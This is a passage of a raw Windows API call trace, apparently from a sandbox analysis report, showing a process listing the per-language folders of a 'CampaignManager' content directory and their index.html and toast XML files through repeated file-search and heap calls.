hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa817116e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ed6c2ab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0238.391] GetProcessHeap () returned 0xc10000 [0238.391] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.391] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa817116e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ed6c2ab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0238.394] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa817116e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ed6c2ab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.395] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ecad633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x990a, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0238.395] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ecad633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x250, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0238.395] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ecad633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0238.395] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ed6c2ab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0238.395] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ed6c2ab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0238.395] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0238.527] GetProcessHeap () returned 0xc10000 [0238.527] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.527] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa81d6f2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2a33eb, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-BE", cAlternateFileName="")) returned 1 [0238.527] GetProcessHeap () returned 0xc10000 [0238.527] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.527] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa81d6f2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2a33eb, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0238.532] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa81d6f2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2a33eb, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.532] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f08d25f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f08d25f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0238.532] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f27d1ae, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f27d1ae, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0238.532] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0238.532] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0238.532] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0238.532] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0238.533] GetProcessHeap () returned 0xc10000 [0238.533] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.533] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa820b284, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0238.533] GetProcessHeap () returned 0xc10000 [0238.533] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.533] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa820b284, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0238.536] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa820b284, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.536] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa7a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0238.536] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0238.536] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0238.537] GetProcessHeap () returned 0xc10000 [0238.537] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.537] GetProcessHeap () returned 0xc10000 [0238.537] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.538] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8276077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0238.541] GetProcessHeap () returned 0xc10000 [0238.541] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.541] GetProcessHeap () returned 0xc10000 [0238.541] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.541] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830d026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2ef892, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0238.545] GetProcessHeap () returned 0xc10000 [0238.550] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.550] GetProcessHeap () returned 0xc10000 [0238.551] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.551] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830f28d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0238.586] GetProcessHeap () returned 0xc10000 [0238.586] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.586] GetProcessHeap () returned 0xc10000 [0238.586] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.586] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8397774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0238.590] GetProcessHeap () returned 0xc10000 [0238.590] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.592] GetProcessHeap () returned 0xc10000 [0238.592] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.592] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83e88ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0238.596] GetProcessHeap () returned 0xc10000 [0238.596] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.596] GetProcessHeap () returned 0xc10000 [0238.596] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.596] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83eab4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0238.600] GetProcessHeap () returned 0xc10000 [0238.600] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.601] GetProcessHeap () returned 0xc10000 [0238.601] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.601] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84655fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0238.787] GetProcessHeap () returned 0xc10000 [0238.787] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.787] GetProcessHeap () returned 0xc10000 [0238.787] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.787] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84b3b2f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0238.795] GetProcessHeap () returned 0xc10000 [0238.795] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.795] GetProcessHeap () returned 0xc10000 [0238.795] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.796] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84fae3d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0238.800] GetProcessHeap () returned 0xc10000 [0238.800] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.801] GetProcessHeap () returned 0xc10000 [0238.801] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.801] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85726e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0238.805] GetProcessHeap () returned 0xc10000 [0238.805] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.805] GetProcessHeap () returned 0xc10000 [0238.805] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.806] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8575326, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0238.811] GetProcessHeap () returned 0xc10000 [0238.811] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.812] GetProcessHeap () returned 0xc10000 [0238.812] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.812] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lb-LU\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85bfd1b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0238.816] GetProcessHeap () returned 0xc10000 [0238.816] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.816] GetProcessHeap () returned 0xc10000 [0238.816] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.816] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, 